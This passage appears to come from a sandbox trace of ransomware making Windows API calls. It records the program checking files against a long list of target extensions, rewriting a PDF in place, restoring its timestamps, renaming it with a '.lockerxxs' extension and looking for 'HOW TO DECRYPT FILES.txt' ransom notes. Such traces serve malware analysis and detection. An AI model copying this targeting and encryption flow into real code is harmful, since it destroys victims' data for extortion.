10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.qbw") returned 0 [0068.737] lstrlenA (lpString="*.qbw") returned 5 [0068.737] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.qbb") returned 0 [0068.737] lstrlenA (lpString="*.qbb") returned 5 [0068.737] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.qbm") returned 0 [0068.737] lstrlenA (lpString="*.qbm") returned 5 [0068.737] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.qbo") returned 0 [0068.737] lstrlenA (lpString="*.qbo") returned 5 [0068.737] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.qbx") returned 0 [0068.737] lstrlenA (lpString="*.qbx") returned 5 [0068.737] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.qba") returned 0 [0068.737] lstrlenA (lpString="*.qba") returned 5 [0068.737] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.qby") returned 0 [0068.737] lstrlenA (lpString="*.qby") returned 5 [0068.737] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.qbj") returned 0 [0068.738] lstrlenA (lpString="*.qbj") returned 5 [0068.738] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.ofx") returned 0 [0068.738] lstrlenA (lpString="*.ofx") returned 5 [0068.738] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.qif") returned 0 [0068.738] lstrlenA (lpString="*.qif") returned 5 [0068.738] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.mye") returned 0 [0068.738] lstrlenA (lpString="*.mye") returned 5 [0068.738] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.mbox") returned 0 [0068.738] lstrlenA (lpString="*.mbox") returned 6 [0068.738] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0068.738] lstrlenA (lpString="*.eml") returned 5 [0068.738] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.pst") returned 0 [0068.738] lstrlenA (lpString="*.pst") returned 5 [0068.738] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.ost") returned 0 [0068.738] lstrlenA (lpString="*.ost") returned 5 [0068.738] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.idx") returned 0 [0068.738] lstrlenA (lpString="*.idx") returned 5 [0068.738] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.dbx") returned 0 [0068.739] lstrlenA (lpString="*.dbx") returned 5 [0068.739] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.sql") returned 0 [0068.739] lstrlenA (lpString="*.sql") returned 5 [0068.739] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.mdb") returned 0 [0068.739] lstrlenA (lpString="*.mdb") returned 5 [0068.739] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.fdb") returned 0 [0068.739] lstrlenA (lpString="*.fdb") returned 5 [0068.739] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.wab") returned 0 [0068.739] lstrlenA (lpString="*.wab") returned 5 [0068.739] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.dat") returned 0 [0068.739] lstrlenA (lpString="*.dat") returned 5 [0068.739] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.txt") returned 0 [0068.739] lstrlenA (lpString="*.txt") returned 5 [0068.739] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.jpeg") returned 0 [0068.739] lstrlenA (lpString="*.jpeg") returned 6 [0068.739] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.jpg") returned 0 [0068.739] lstrlenA (lpString="*.jpg") returned 5 [0068.739] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.png") returned 0 [0068.739] lstrlenA (lpString="*.png") returned 5 [0068.739] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.php") returned 0 [0068.740] lstrlenA (lpString="*.php") returned 5 [0068.740] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.cs") returned 0 [0068.740] lstrlenA (lpString="*.cs") returned 4 [0068.740] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.cpp") returned 0 [0068.740] lstrlenA (lpString="*.cpp") returned 5 [0068.740] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.rar") returned 0 [0068.740] lstrlenA (lpString="*.rar") returned 5 [0068.740] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.zip") returned 0 [0068.740] lstrlenA (lpString="*.zip") returned 5 [0068.740] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.html") returned 0 [0068.740] lstrlenA (lpString="*.html") returned 6 [0068.740] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.htm") returned 0 [0068.740] lstrlenA (lpString="*.htm") returned 5 [0068.740] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.xlsx") returned 0 [0068.740] lstrlenA (lpString="*.xlsx") returned 6 [0068.740] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.xls") returned 0 [0068.740] lstrlenA (lpString="*.xls") returned 5 [0068.740] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.mp4") returned 0 [0068.740] lstrlenA (lpString="*.mp4") returned 5 [0068.741] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.ppt") returned 0 [0068.741] lstrlenA (lpString="*.ppt") returned 5 [0068.741] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.pptx") returned 0 [0068.741] lstrlenA (lpString="*.pptx") returned 6 [0068.741] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.doc") returned 0 [0068.741] lstrlenA (lpString="*.doc") returned 5 [0068.741] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.dot") returned 0 [0068.741] lstrlenA (lpString="*.dot") returned 5 [0068.741] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.docx") returned 0 [0068.741] lstrlenA (lpString="*.docx") returned 6 [0068.741] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.7z") returned 0 [0068.741] lstrlenA (lpString="*.7z") returned 4 [0068.741] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.tar") returned 0 [0068.741] lstrlenA (lpString="*.tar") returned 5 [0068.741] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.bz2") returned 0 [0068.741] lstrlenA (lpString="*.bz2") returned 5 [0068.741] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.gz") returned 0 [0068.741] lstrlenA (lpString="*.gz") returned 4 [0068.741] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.mkv") returned 0 [0068.742] lstrlenA (lpString="*.mkv") returned 5 [0068.742] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0068.742] lstrlenA (lpString="*.eml") returned 5 [0068.742] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.msg") returned 0 [0068.742] lstrlenA (lpString="*.msg") returned 5 [0068.742] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.edb") returned 0 [0068.742] lstrlenA (lpString="*.edb") returned 5 [0068.742] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.accdb") returned 0 [0068.742] lstrlenA (lpString="*.accdb") returned 7 [0068.742] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.odb") returned 0 [0068.742] lstrlenA (lpString="*.odb") returned 5 [0068.742] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.java") returned 0 [0068.742] lstrlenA (lpString="*.java") returned 6 [0068.742] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.asm") returned 0 [0068.742] lstrlenA (lpString="*.asm") returned 5 [0068.742] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.pfx") returned 0 [0068.742] lstrlenA (lpString="*.pfx") returned 5 [0068.742] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.pem") returned 0 [0068.742] lstrlenA (lpString="*.pem") returned 5 [0068.743] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.p12") returned 0 [0068.743] lstrlenA (lpString="*.p12") returned 5 [0068.743] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.gpg") returned 0 [0068.743] lstrlenA (lpString="*.gpg") returned 5 [0068.743] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.vsd") returned 0 [0068.743] lstrlenA (lpString="*.vsd") returned 5 [0068.743] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.odg") returned 0 [0068.743] lstrlenA (lpString="*.odg") returned 5 [0068.743] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.raw") returned 0 [0068.743] lstrlenA (lpString="*.raw") returned 5 [0068.743] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.nef") returned 0 [0068.743] lstrlenA (lpString="*.nef") returned 5 [0068.743] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.svg") returned 0 [0068.743] lstrlenA (lpString="*.svg") returned 5 [0068.743] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.psd") returned 0 [0068.743] lstrlenA (lpString="*.psd") returned 5 [0068.743] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.vmx") returned 0 [0068.743] lstrlenA (lpString="*.vmx") returned 5 [0068.743] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.vmdk") returned 0 [0068.743] lstrlenA (lpString="*.vmdk") returned 6 [0068.744] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.vdi") returned 0 [0068.744] lstrlenA (lpString="*.vdi") returned 5 [0068.744] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.lay6") returned 0 [0068.744] lstrlenA (lpString="*.lay6") returned 6 [0068.744] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.mpeg") returned 0 [0068.744] lstrlenA (lpString="*.mpeg") returned 6 [0068.744] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.djvu") returned 0 [0068.744] lstrlenA (lpString="*.djvu") returned 6 [0068.744] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.tiff") returned 0 [0068.744] lstrlenA (lpString="*.tiff") returned 6 [0068.744] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.backup") returned 0 [0068.744] lstrlenA (lpString="*.backup") returned 8 [0068.744] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", pszSpec="*.pdf") returned 1 [0068.744] lstrlenA (lpString="*.pdf") returned 5 [0068.744] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf" [0068.744] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf" [0068.744] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf." [0068.744] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf.lockerxxs" [0068.744] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.745] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x26ca2 [0068.745] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x80a2abc0, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4)) returned 1 [0068.745] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.745] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x26c7c, lpOverlapped=0x0) returned 1 [0068.751] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf") returned="AdobeID.pdf" [0068.752] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.752] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x26c7c, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x26c7c, lpOverlapped=0x0) returned 1 [0068.753] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0068.753] CloseHandle (hObject=0x94) returned 1 [0068.764] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\adobeid.pdf.lockerxxs")) returned 1 [0068.768] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25d4a, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0068.768] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0068.768] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DefaultID.pdf") returned 1 [0068.768] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DefaultID.pdf") returned 1 [0068.768] lstrcmpiA (lpString1="", lpString2="DefaultID.pdf") returned -1 [0068.768] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf") returned="AdobeID.pdf" [0068.768] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\" [0068.768] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\") returned="" [0068.768] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\HOW TO DECRYPT FILES.txt" [0068.768] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\how to decrypt files.txt")) returned 0x20 [0068.769] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\", lpString2="DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf" [0068.769] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.ems") returned 0 [0068.769] lstrlenA (lpString="*.ems") returned 5 [0068.769] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.db") returned 0 [0068.769] lstrlenA (lpString="*.db") returned 4 [0068.769] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.dbf") returned 0 [0068.769] lstrlenA (lpString="*.dbf") returned 5 [0068.769] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.myox") returned 0 [0068.769] lstrlenA (lpString="*.myox") returned 6 [0068.769] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.myo") returned 0 [0068.769] lstrlenA (lpString="*.myo") returned 5 [0068.769] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.qbw") returned 0 [0068.769] lstrlenA (lpString="*.qbw") returned 5 [0068.769] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.qbb") returned 0 [0068.769] lstrlenA (lpString="*.qbb") returned 5 [0068.769] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.qbm") returned 0 [0068.769] lstrlenA (lpString="*.qbm") returned 5 [0068.769] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.qbo") returned 0 [0068.769] lstrlenA (lpString="*.qbo") returned 5 [0068.770] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.qbx") returned 0 [0068.770] lstrlenA (lpString="*.qbx") returned 5 [0068.770] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.qba") returned 0 [0068.770] lstrlenA (lpString="*.qba") returned 5 [0068.770] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.qby") returned 0 [0068.770] lstrlenA (lpString="*.qby") returned 5 [0068.770] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.qbj") returned 0 [0068.770] lstrlenA (lpString="*.qbj") returned 5 [0068.770] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.ofx") returned 0 [0068.770] lstrlenA (lpString="*.ofx") returned 5 [0068.770] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.qif") returned 0 [0068.770] lstrlenA (lpString="*.qif") returned 5 [0068.770] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.mye") returned 0 [0068.770] lstrlenA (lpString="*.mye") returned 5 [0068.770] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.mbox") returned 0 [0068.770] lstrlenA (lpString="*.mbox") returned 6 [0068.770] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0068.770] lstrlenA (lpString="*.eml") returned 5 [0068.770] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.pst") returned 0 [0068.770] lstrlenA (lpString="*.pst") returned 5 [0068.771] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf", pszSpec="*.ost") returned 0 [0068.771] lstrlenA (lpString="*.ost") returned 5 